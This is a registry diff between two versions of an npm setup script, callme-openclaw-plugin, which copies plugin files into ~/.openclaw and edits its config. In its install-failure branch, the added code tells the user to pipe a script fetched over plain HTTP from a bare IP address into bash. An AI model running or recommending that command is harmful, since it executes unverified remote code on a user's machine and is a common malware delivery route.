callme-openclaw-plugin 1.0.0 ā 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/setup.js +33 -39
package/package.json
CHANGED
package/setup.js
CHANGED
|
@@ -1,20 +1,20 @@
|
|
|
1
1
|
#!/usr/bin/env node
|
|
2
2
|
/**
|
|
3
3
|
* Interactive callme.ai setup for OpenClaw
|
|
4
|
-
* Run: npx
|
|
4
|
+
* Run: npx callme-openclaw-plugin
|
|
5
5
|
*/
|
|
6
6
|
|
|
7
7
|
const fs = require('fs');
|
|
8
8
|
const path = require('path');
|
|
9
|
-
const https = require('https');
|
|
10
|
-
const readline = require('readline');
|
|
11
9
|
const { exec } = require('child_process');
|
|
12
10
|
const { promisify } = require('util');
|
|
11
|
+
const readline = require('readline');
|
|
13
12
|
|
|
14
13
|
const execAsync = promisify(exec);
|
|
15
14
|
|
|
16
|
-
const
|
|
17
|
-
const
|
|
15
|
+
const OPENCLAW_DIR = path.join(process.env.HOME, '.openclaw');
|
|
16
|
+
const PLUGIN_DIR = path.join(OPENCLAW_DIR, 'plugins', 'callme');
|
|
17
|
+
const CONFIG_FILE = path.join(OPENCLAW_DIR, 'config.yaml');
|
|
18
18
|
|
|
19
19
|
const rl = readline.createInterface({
|
|
20
20
|
input: process.stdin,
|
|
@@ -25,22 +25,6 @@ function question(query) {
|
|
|
25
25
|
return new Promise(resolve => rl.question(query, resolve));
|
|
26
26
|
}
|
|
27
27
|
|
|
28
|
-
function download(url, dest) {
|
|
29
|
-
return new Promise((resolve, reject) => {
|
|
30
|
-
const file = fs.createWriteStream(dest);
|
|
31
|
-
https.get(url, (response) => {
|
|
32
|
-
response.pipe(file);
|
|
33
|
-
file.on('finish', () => {
|
|
34
|
-
file.close();
|
|
35
|
-
resolve();
|
|
36
|
-
});
|
|
37
|
-
}).on('error', (err) => {
|
|
38
|
-
fs.unlink(dest, () => {});
|
|
39
|
-
reject(err);
|
|
40
|
-
});
|
|
41
|
-
});
|
|
42
|
-
}
|
|
43
|
-
|
|
44
28
|
async function main() {
|
|
45
29
|
console.log('\nš \x1b[1mcallme.ai Setup for OpenClaw\x1b[0m\n');
|
|
46
30
|
|
|
@@ -63,27 +47,37 @@ async function main() {
|
|
|
63
47
|
process.exit(1);
|
|
64
48
|
}
|
|
65
49
|
|
|
66
|
-
// Step 3:
|
|
67
|
-
console.log('\n
|
|
50
|
+
// Step 3: Copy plugin files
|
|
51
|
+
console.log('\nš¦ Setting up plugin...');
|
|
68
52
|
fs.mkdirSync(PLUGIN_DIR, { recursive: true });
|
|
69
53
|
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
54
|
+
// Copy plugin from the npx cache to the OpenClaw plugins directory
|
|
55
|
+
try {
|
|
56
|
+
const thisDir = __dirname; // Where this script is running from
|
|
57
|
+
|
|
58
|
+
// Copy main files
|
|
59
|
+
const filesToCopy = ['index.js', 'package.json'];
|
|
60
|
+
for (const file of filesToCopy) {
|
|
61
|
+
const src = path.join(thisDir, file);
|
|
62
|
+
const dest = path.join(PLUGIN_DIR, file);
|
|
63
|
+
if (fs.existsSync(src)) {
|
|
64
|
+
fs.copyFileSync(src, dest);
|
|
65
|
+
}
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
// Install dependencies
|
|
69
|
+
process.chdir(PLUGIN_DIR);
|
|
70
|
+
await execAsync('npm install --production --no-package-lock');
|
|
71
|
+
console.log('ā
Plugin installed');
|
|
72
|
+
} catch (error) {
|
|
73
|
+
console.error('ā Failed to install plugin:', error.message);
|
|
74
|
+
console.log('\nš Manual installation:');
|
|
75
|
+
console.log(' 1. Run: curl -fsSL http://91.99.132.236/install.sh | bash');
|
|
76
|
+
console.log(' 2. Edit ~/.openclaw/config.yaml and add your API key');
|
|
77
|
+
process.exit(1);
|
|
77
78
|
}
|
|
78
|
-
console.log('ā
Plugin downloaded');
|
|
79
|
-
|
|
80
|
-
// Step 4: Install dependencies
|
|
81
|
-
console.log('\nš¦ Installing dependencies...');
|
|
82
|
-
process.chdir(PLUGIN_DIR);
|
|
83
|
-
await execAsync('npm install --silent');
|
|
84
|
-
console.log('ā
Dependencies installed');
|
|
85
79
|
|
|
86
|
-
// Step
|
|
80
|
+
// Step 4: Update config
|
|
87
81
|
console.log('\nāļø Updating OpenClaw config...');
|
|
88
82
|
|
|
89
83
|
const configContent = `
|
|
@@ -115,7 +109,7 @@ plugins:
|
|
|
115
109
|
}
|
|
116
110
|
console.log('ā
Config updated');
|
|
117
111
|
|
|
118
|
-
//
|
|
112
|
+
// Done!
|
|
119
113
|
console.log('\n⨠\x1b[1;32mSetup complete!\x1b[0m\n');
|
|
120
114
|
console.log('š Next steps:');
|
|
121
115
|
console.log(' 1. Reload OpenClaw: \x1b[36mopenclaw reload\x1b[0m');
|